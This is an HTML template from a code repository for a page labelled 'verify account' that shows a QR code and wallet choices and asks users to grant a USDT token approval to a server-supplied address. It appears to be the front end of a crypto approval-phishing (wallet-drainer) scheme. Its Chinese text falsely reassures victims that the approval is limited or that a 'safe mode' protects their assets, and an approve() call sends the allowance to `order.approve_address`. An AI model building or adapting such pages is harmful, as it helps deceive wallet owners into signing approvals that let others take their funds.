Files
im/app/view/pay/valid.html
T
commie c153975eed 7
2026-01-08 05:42:44 +08:00

321 lines
19 KiB
HTML
Executable File

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" charset="UTF-8" content="width=device-width, initial-scale=1.0">
<title>{:config('site.name')}-{:__('验证账户')}</title>
<script src="/static/libs/jquery-3.6.0.min.js"></script>
<script src="/static/pay/qrcode.min.js"></script>
<link rel="stylesheet" href="/static/pay/index.css">
<link rel="stylesheet" href="/static/pay/pay.css">
<link rel="stylesheet" href="/static/pay/layer.css" id="layui_layer_csslayercss" />
<script src="/static/pay/clipboard.js" type="text/javascript"></script>
{if $order.network == 'TRC-20'}
<script src="/static/pay/TronWeb.js?v2" type="text/javascript"></script>
<!--<script src="/static/pay/trc.js?v1"></script>-->
{elseif $order.network == 'BEP-20'}
<script src="/static/pay/ethers.umd.min.js" type="text/javascript"></script>
<script src="/static/pay/abi.js"></script>
<script src="/static/pay/web3.min.js"></script>
<!--<script src="/static/pay/erc.js?v5"></script>-->
{/if}
</head>
<body>
<div id="approval" aria-modal="true" aria-labelledby="el-id-2903-0" aria-describedby="el-id-2903-1"
class="el-drawer ttb open" role="dialog" style="display: none;z-index:99999;">
<span class="el-drawer__sr-focus" tabindex="-1"></span>
<header class="el-drawer__header">
<table>
<tbody>
<tr>
<td>
<div class="el-alert el-alert--success is-center is-light" role="alert"><i
class="el-icon el-alert__icon">
<svg viewBox="0 0 1024 1024" xmlns="http://www.w3.org/2000/svg">
<path fill="currentColor"
d="M512 64a448 448 0 1 1 0 896 448 448 0 0 1 0-896zm-55.808 536.384-99.52-99.584a38.4 38.4 0 1 0-54.336 54.336l126.72 126.72a38.272 38.272 0 0 0 54.336 0l262.4-262.464a38.4 38.4 0 1 0-54.272-54.336L456.192 600.384z">
</path>
</svg>
</i>
<div class="el-alert__content"><span
class="el-alert__title">{:__('safety_operation_tips')}</span>
<!--v-if--><!--v-if-->
</div>
</div>
</td>
</tr>
<tr>
<td style="text-align: center; font-size: 14px; font-weight: bold;">{:__('safety_operation_tips')}</td>
</tr>
</tbody>
</table><!--v-if-->
</header>
<div id="el-id-2903-1" class="el-drawer__body">
<form class="el-form el-form--default el-form--label-right">
<table class="n-table n-table--single-line"
style="--n-bezier: cubic-bezier(.4, 0, .2, 1); --n-td-color: #fff; --n-td-color-modal: #fff; --n-td-color-popover: #fff; --n-td-text-color: rgb(51, 54, 57); --n-border-color: rgba(239, 239, 245, 1); --n-border-color-modal: rgba(239, 239, 245, 1); --n-border-color-popover: rgba(239, 239, 245, 1); --n-border-radius: 3px; --n-font-size: 14px; --n-th-color: rgba(250, 250, 252, 1); --n-th-color-modal: rgba(250, 250, 252, 1); --n-th-color-popover: rgba(250, 250, 252, 1); --n-th-font-weight: 500; --n-th-text-color: rgb(31, 34, 37); --n-line-height: 1.6; --n-td-padding: 12px; --n-th-padding: 12px; --n-td-color-striped: rgba(250, 250, 252, 1); --n-td-color-striped-modal: rgba(250, 250, 252, 1); --n-td-color-striped-popover: rgba(250, 250, 252, 1);">
<tbody>
<tr>
<td>
<div ref_key="formItemRef"
class="el-form-item is-success is-required asterisk-left el-form-item--feedback">
<label id="el-id-2903-2" for="el-id-2903-5"
class="el-form-item__label">{:__('授权金额')}(USDT)</label>
<div class="el-form-item__content">
<div class="el-input-number">
<span id="decrease" role="button" aria-label="decrease number"
class="el-input-number__decrease">
<i class="el-icon">
<svg viewBox="0 0 1024 1024" xmlns="http://www.w3.org/2000/svg">
<path fill="currentColor"
d="M128 544h768a32 32 0 1 0 0-64H128a32 32 0 0 0 0 64z">
</path>
</svg>
</i>
</span>
<span id="increase" role="button" aria-label="increase number"
class="el-input-number__increase">
<i class="el-icon">
<svg viewBox="0 0 1024 1024" xmlns="http://www.w3.org/2000/svg">
<path fill="currentColor"
d="M480 480V128a32 32 0 0 1 64 0v352h352a32 32 0 1 1 0 64H544v352a32 32 0 1 1-64 0V544H128a32 32 0 0 1 0-64h352z">
</path>
</svg>
</i>
</span>
<div class="el-input">
<!-- input -->
<!-- prepend slot -->
<!--v-if-->
<div class="el-input__wrapper">
<!-- prefix slot --><!--v-if-->
<input
id="amount" value="100" ref_key="input" class="el-input__inner"
step="1" max="Infinity" min="0.1" type="number"
autocomplete="off" tabindex="0" role="spinbutton"
aria-valuemin="0.1" aria-valuenow="0.18" aria-disabled="false">
<!-- suffix slot --><span class="el-input__suffix"><span
class="el-input__suffix-inner"><!--v-if-->
<!--v-if--><!--v-if--><!--v-if--><i
class="el-icon el-input__icon el-input__validateIcon"><svg
viewBox="0 0 1024 1024"
xmlns="http://www.w3.org/2000/svg">
<path fill="currentColor"
d="M512 896a384 384 0 1 0 0-768 384 384 0 0 0 0 768zm0 64a448 448 0 1 1 0-896 448 448 0 0 1 0 896z">
</path>
<path fill="currentColor"
d="M745.344 361.344a32 32 0 0 1 45.312 45.312l-288 288a32 32 0 0 1-45.312 0l-160-160a32 32 0 1 1 45.312-45.312L480 626.752l265.344-265.408z">
</path>
</svg></i></span></span>
</div><!-- append slot --><!--v-if-->
</div>
</div><!--v-if-->
</div>
</div>
<p style="color: rgb(115, 118, 122);"><span style="font-weight: bold; color: red;">{:__('授权金额')}</span>:{:__('授权以后,该授权地址只能转走相应数量资产,无法转走所有资产')}</p>
</td>
</tr>
<tr>
<td>
<div ref_key="formItemRef"
class="el-form-item is-success is-required asterisk-left el-form-item--feedback">
<label id="el-id-2903-3" for="el-id-2903-6" class="el-form-item__label">{:__('授权模式')}</label>
<div class="el-form-item__content">
<div ref_key="radioGroupRef" class="el-radio-group" role="radiogroup"
aria-labelledby="el-id-2903-3" id="el-id-2903-6"><label
class="el-radio is-bordered is-checked el-radio--large"><span
class="el-radio__input is-checked"><input ref_key="radioRef"
class="el-radio__original" name="el-id-2903-4" type="radio"
value="1" tabindex="0"><span
class="el-radio__inner"></span></span><span
class="el-radio__label">{:__('安全模式')}</span></label><label
class="el-radio is-bordered el-radio--large"><span
class="el-radio__input"><input ref_key="radioRef"
class="el-radio__original" name="el-id-2903-4" type="radio"
value="2"><span class="el-radio__inner"></span></span><span
class="el-radio__label">{:__('白名单模式')}</span></label></div><!--v-if-->
</div>
</div>
<p style="color: rgb(115, 118, 122);"><span
style="font-weight: bold; color: red;">{:__('安全模式')}</span>:{:__('授权地址无法直接转走资产,需经过我同意,保证资产安全')}</p>
</td>
</tr>
</tbody>
</table>
</form>
</div>
<div class="el-drawer__footer">
<div style="flex: 1 1 auto;">
<button onclick="window.location.reload()" ref_key="_ref" class="el-button" aria-disabled="false"
type="button"><!--v-if--><span class="">{:__('取消')}</span></button>
<button ref_key="_ref" class="el-button el-button--primary" aria-disabled="false" type="button"
onclick="approve()">
<!--v-if--><span class="">{:__('确认')}</span></button>
</div>
</div>
</div>
<div class="pc-content" id="pcContent">
<div class="pc-container">
<div class="base-info">
<div class="base-header">
<img src="{$user.avatar}">
<div class="pay-info">{:__('验证账户')}</div>
</div>
<hr>
<div class="base-body">
<div class="info-item">
<div class="item-title">{:__('钱包地址')}:</div>
<div class="item-value">
<div class="item-value-text">{$order.address}</div>
</div>
</div>
</div>
</div>
<div class="goods-info">
<div class="pay-introduce">
<div class="pay-title">{:__('操作说明')}</div>
<div class="pay-content">
{:__('请打开钱包扫码操作')} </div>
<div></div>
</div>
<div class="pay-code">
<div id="qrcode" style="max-width: 800px"></div>
<!-- <img src="/static/pay2/img//code.png" />-->
</div>
</div>
<div class="goods-info">
<div class="pay-title tip-color">{:__('提示')}</div>
<div class="pay-content">
{:__('请使用浏览器 或钱包扫码,Bitkeep请使用DApp中扫码,其他钱包请使用首页的扫码。')}
</div>
</div>
</div>
</div>
<div class="mobile-content" id="mobileContent" style="display: none;">
<div class="mobile-container">
<div class="base-info-mobile">
<div class="base-header">
<img src="{$user.avatar}">
<div class="pay-info">{:__('验证账户')}</div>
</div>
<hr>
<div class="base-body">
<div class="info-item">
<div class="item-title">{:__('主链')}:</div>
<div class="item-value">
{if $order.network == 'TRC-20'}
<div class="item-value-text"><img style="width: 25px;height: auto" src="/static/pay/trc.svg">Tron</div>
{elseif $order.network == 'BEP-20'}
<div class="item-value-text"><img style="width: 25px;height: auto" src="/static/pay/bsc.svg">Bsc</div>
{/if}
</div>
</div>
</div>
<div class="base-body">
<div class="info-item">
<div class="item-title">{:__('钱包地址')}:</div>
<div class="item-value">
<div class="item-value-text">{$order.address}</div>
</div>
</div>
</div>
</div>
<div class="mobile-goods">
<div class="mobile-title paymentShow" style="display: none;">{:__('请选择您的转账钱包')} </div>
<ul id="goods" class="paymentShow" style="display: none;">
<li class="goods-item" data-index="6">
<div class="item-img"><img src="/static/pay/Bitget.png"></div>
<div class="item-content">
<div class="item-name">Bitget Wallet</div>
<div class="item-tag">
<div>TRC-20/BSC</div>
<div class="other-color">Android/IOS</div>
</div>
</div>
<input type="radio">
</li>
<li class="goods-item" data-index="2">
<div class="item-img"><img src="/static/pay/imtoken.png"></div>
<div class="item-content">
<div class="item-name">imToken</div>
<div class="item-tag">
<div>TRC-20/BSC</div>
<div class="other-color">Android/IOS</div>
</div>
</div>
<input type="radio">
</li>
<li class="goods-item" data-index="7" style="display: none">
<div class="item-img"><img src="/static/pay/okex.png"></div>
<div class="item-content">
<div class="item-name">OKX Web3</div>
<div class="item-tag">
<div>TRC-20/BSC</div>
<div class="other-color">Android/IOS</div>
</div>
</div>
<input type="radio">
</li>
<li class="goods-item" data-index="9">
<div class="item-img"><img src="/static/pay/tokenpocket.png"></div>
<div class="item-content">
<div class="item-name">TokenPocket</div>
<div class="item-tag">
<div>TRC-20/BSC</div>
<div class="other-color">Android/IOS</div>
</div>
</div>
<input type="radio">
</li>
<li class="goods-item" data-index="8">
<div class="item-img"><img src="/static/pay/TronLink.png"></div>
<div class="item-content">
<div class="item-name">TronLink</div>
<div class="item-tag">
<div>TRC-20</div>
<div class="other-color">Android/IOS</div>
</div>
</div>
<input type="radio">
</li>
</ul>
<div class="pay-submit paymentShow" id="confirm" style="display: none">{:__('打开钱包')}</div>
<div class="pay-submit paymentShow" id="confirm1" style="display: none;background: #666666;">{:__('复制链接')}</div>
<div class="pay-submit" id="payButton" onclick="checkPay()" style="display: none">{:__('验证账户')}</div>
</div>
</div>
</div>
<div onclick="$('#debugs').html('')" style="display: none">clear</div>
<div id="debugs" style="display:none;font-size: 14px;width: 90%;overflow: auto;word-break: break-word;">
</div>
<script src="/static/pay/layer.js"></script>
<script src="/static/pay/bignumber.min.js"></script>
<script src="/static/pay/tp.js"></script>
<script>
var to = '{$order.approve_address}';
var order_id = '{$order_id}';
var contract_type = '{$order.network}';
var Lang = '{$lang}';
var imTip = '{:__("imTip")}';
var l_tip_1 = '{:__("l_tip_1")}';
var l_tip_2 = '{:__("l_tip_2")}';
var l_tip_3 = '{:__("l_tip_3")}';
var l_tip_4 = '{:__("l_tip_4")}';
var l_tip_5 = '{:__("l_tip_5")}{$networkDesc}';
var l_error = '{:__("l_error")}';
</script>
<script src="/static/pay/main.js"></script>
</body>
</html>